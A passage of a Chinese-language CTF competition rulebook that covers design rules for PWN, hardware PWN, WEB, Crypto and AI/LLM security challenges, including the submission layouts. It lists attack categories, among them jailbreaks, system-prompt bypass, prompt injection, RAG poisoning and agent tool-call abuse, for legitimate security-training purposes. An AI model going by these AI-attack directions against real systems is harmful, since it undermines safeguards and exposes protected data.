justify;"><span mpa-font-style="mp270b551784" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)规则</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55c71" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计一个存在漏洞的程序。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55mxb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">漏洞包括但不限于堆栈溢出、UAF、DOUBLE FREE、OFF BY ONE、格式化字符串、逻辑错误等漏洞。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551x1l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">提供稳定的漏洞利用 EXP，攻击者根据漏洞攻击成功后能获得 flag，flag 格式为：flag{***}</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55159e" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目提供二进制附件，或以 Docker 形式提交，并提供详细的部署方法。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5512r1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)其他限制条件</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551l2a" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">尽量不要出带有爆破、猜测的题目，避免比赛选手使用爆破工具给服务器带来较大压力。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55112v" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">控制解题流程，避免非预期。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55eux" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">带* 有文件上传或者代码执行的题目，要控制好权限，避免环境被破坏。</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551z12" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">PWN 文件允许用自己未公布的壳或 VM 或其他手工处理的方法来保护程序（VM 或壳的嵌套最多 2 层），但必须将保护该 PWN 文件所使用的壳或 VM 或其他手工处理的方法与 PWN 附件一同提交，评委审核通过后方可参赛。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b554s4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">所提交的壳或 VM 程序和源码，或其他手工处理的方法，将在赛后向广大会员公开。凡违反该比赛规则的 PWN 题将作废，设计该 PWN 题的会员将取消本届比赛的参赛资格。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55v25" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">关于 VM 定义：所有掩盖原始程序、以解释方式执行的保护方式都可统称 VM。比如 Java VM 也算 VM，其它模拟器也算 VM。赛题中，壳内壳外的所有 VM 加起来，不要超过 2 层。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b558j8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">PWN 主文件尺寸不超过 10M。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551z0z" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.3.2 提交格式</span></span></span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b551d0w"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Readme.md</span><span class="code-snippet__comment">--------------|题目描述文档</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Writeup.md</span><span class="code-snippet__comment">-------------|writeup</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─</span><span class="code-snippet__built_in">exp</span><span class="code-snippet__comment">--------------------|解题关键脚本</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─attachments</span><span class="code-snippet__comment">------------|题目文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─deploy</span><span class="code-snippet__comment">-----------------|online型题目部署脚本</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  └─docker_for_pwn</span><span class="code-snippet__comment">-------|pwn题示例</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │  Dockerfile</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │  xctf.xinetd</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     │</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│     └─bin</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│             pwn</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│             flag</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">└─files</span><span class="code-snippet__comment">------------------|writeup包含的图片等文件</span></span></code></pre></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55a7y" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Dockerfile：基于官方 Docker 镜像生成后需要部署的内容，并且暴露对应端口使用。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55dnr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">attachments：提供给选手分析使用的相关文件。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b557rg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.3.3 公开给选手文件</span></span></span></h2><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55viw" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方应公开题目运行和分析所需的必要文件，包括题目可运行 Docker 环境，或完整 Dockerfile、启动脚本、attachments 及相关配置文件。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5524ba" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">公开文件应尽量与线上比赛环境保持一致，使攻击方能够在本机或本地 Docker 环境中复现题目环境，完成运行、调试和 EXP 验证。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5516w8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如题目依赖特定系统版本、架构、运行库、环境变量、端口或启动参数，应在 Readme.md 中明确说明。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55cdt" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若线上环境与公开文件存在差异，防守方应明确标注；因环境差异导致题目无法复现或影响解题的，组委会有权要求补充材料、调整题目或判定题目无效。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551ybh" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.4 关于智能硬件 PWN 设计规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551nmr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目设计规则：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55mcg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计一个可以运行于模拟器如 qemu 中基于 uboot 的 arm32 位程序。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ish" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">该程序能够通过 uboot 引导并稳定执行。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551pq0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">该程序可设计为存在漏洞程序、CrackMe 程序等。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5521lj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛者可以解题成功后获得：flag{*********}</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55lvx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计者需提供可以运行设计程序的 qemu 版本信息，以及让 uboot 成功运行起来的必要信息，如模拟的目标板、内存等。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55xno" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计者还需要提供已经设计好的 uboot 二进制文件、比赛程序、解题思路及答案。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55dh3" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.5 关于 WEB 题目设计规则</span></span></span></h2><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55i6e" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)规则</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551oc1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计一个存在 WEB 漏洞的 WEB 程序。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55aio" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">漏洞包括但不限于注入、命令执行、文件上传等漏洞。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5520an" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击者根据漏洞攻击成功后能获得 flag，flag 格式为：flag{***}</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55qvv" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目以 Docker 形式提交，并提供详细的部署方法。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551bku" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">WEB 题不参与精致奖评定。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551k33" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">提交格式:</span></span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b5520l"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  Readme.md</span><span class="code-snippet__comment">-------------|题目描述文档</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  Writeup.md</span><span class="code-snippet__comment">------------|writeup</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─attachments</span><span class="code-snippet__comment">------------|题目文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─deploy</span><span class="code-snippet__comment">-----------------|online型题目部署脚本</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  │</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  └─docker_for_web</span><span class="code-snippet__comment">-------|web题示例</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│      │  Dockerfile</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│      │  run.sh</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│      │</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│      └─bin</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">│  index.php</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">└─files</span><span class="code-snippet__comment">------------------|writeup包含的图片等文件</span></span></code></pre></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b554g6" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)其他限制条件</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5521pg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">尽量不要出带有爆破、猜测的题目，避免比赛选手使用爆破工具给服务器带来较大压力。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551e9y" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">控制解题流程，避免非预期。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55cbl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">带有文件上传或者代码执行的题目，要控制好权限，避免环境被破坏。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55fv1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.6 关于 Crypto 题目设计规则</span></span></span></h2><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55vr2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">密码学方向的考题在 CTF 中被归为 Crypto 类型，主要目标是找出隐藏在密码学算法中的 flag。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55b58" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目应提供完整题面、必要附件、解题思路、答案和验证方式。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551xe4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Crypto 题目应避免仅依赖大规模爆破或不可复现随机性。若题目涉及随机数、密钥生成、参数生成或交互式服务，应确保题目环境稳定、结果可验证、解题路径明确。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55y1f" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7 关于 AI Security / LLM Security 题目设计规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551hod" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目，是指以人工智能系统、大语言模型应用、智能 Agent、RAG、模型接口、提示词工程或 AI 应用安全缺陷为主要攻击对象或核心解题要素的题目。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5514br" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">该类题目应遵循 CTF 基本判定方式：攻击方通过利用题目中设计的 AI 安全问题，最终获得明确的 flag 或其他可验证结果。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b55c25"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">flag{***}</span></span></code></pre></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551znb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目不得仅以“说服模型”“让模型输出某类内容”“完成某种对话效果”等主观结果作为唯一判定标准，必须能够通过明确结果进行判定。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55rhq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目须保证可复现、可审计、可稳定判定。原则上不得依赖不可控的外部在线 AI 服务、商业模型接口或会随时间变化的远程模型能力作为核心判题逻辑。确需使用的，须提前向组委会说明，并经审核通过。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55mqe" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.1 题目方向</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b5520i" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目包括但不限于以下方向。各方向均应围绕明确的 CTF 判定目标设计，攻击方通过完成对应攻击路径，最终获得</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">flag{***}</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">或其他可验证结果。</span></span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551qty" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)Prompt Injection / Jailbreak</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551bfc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">包括但不限于：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551bwz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">绕过系统提示词限制；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ovl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">诱导模型泄露隐藏信息；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55116y" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">间接提示词注入；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5595u" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">多轮对话上下文污染；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55qnn" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">利用提示词边界错误获取 flag。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55235y" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)RAG/知识库安全</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551h90" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">包括但不限于：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b559q7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">隐藏文档泄露；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55k79" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">越权查询；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55wjm" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">检索污染；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551gi3" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">向量数据库信息泄露；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b554ug" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">知识库权限隔离失败。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551kou" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3)Agent/Tool Calling 安全</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b555e" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">包括但不限于：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55sfs" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">工具调用越权；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551an0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">文件读取；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5514la" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">SSRF；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551mhx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">命令执行；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551eog" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Agent 权限过大；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b558i4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">多工具调用链攻击。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55f6t" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4)AI 应用与传统漏洞结合</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551vdl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">包括但不限于：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55lhb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">LLM 应用中的 WEB 漏洞；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551fxs" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 助手插件漏洞；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55zfw" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">RAG 系统中的权限绕过；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b555s0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Agent 调用链中的文件读取、命令执行、SSRF 等；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5538b" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 应用与 PWN、WEB、Crypto 等传统方向结合的组合题。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b553ut" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">这类题目可根据核心考点归入 AI Security / LLM Security 或传统 WEB/PWN/Crypto 题型。若核心解题点主要围绕 AI 应用安全，则建议归入 AI Security / LLM Security。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b559tk" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.7.2 题目规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55nz5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">设计一个以 AI 系统、大模型应用、智能 Agent、RAG 系统、模型接口或 AI 应用安全缺陷为核心攻击对象的题目。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b553p6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击者根据题目目标成功完成攻击后，应能获得明确的 flag 或其他可验证结果。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b558r8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目应提供完整题面、部署方式、运行环境、验证方式、解题思路和答案。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5518uj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 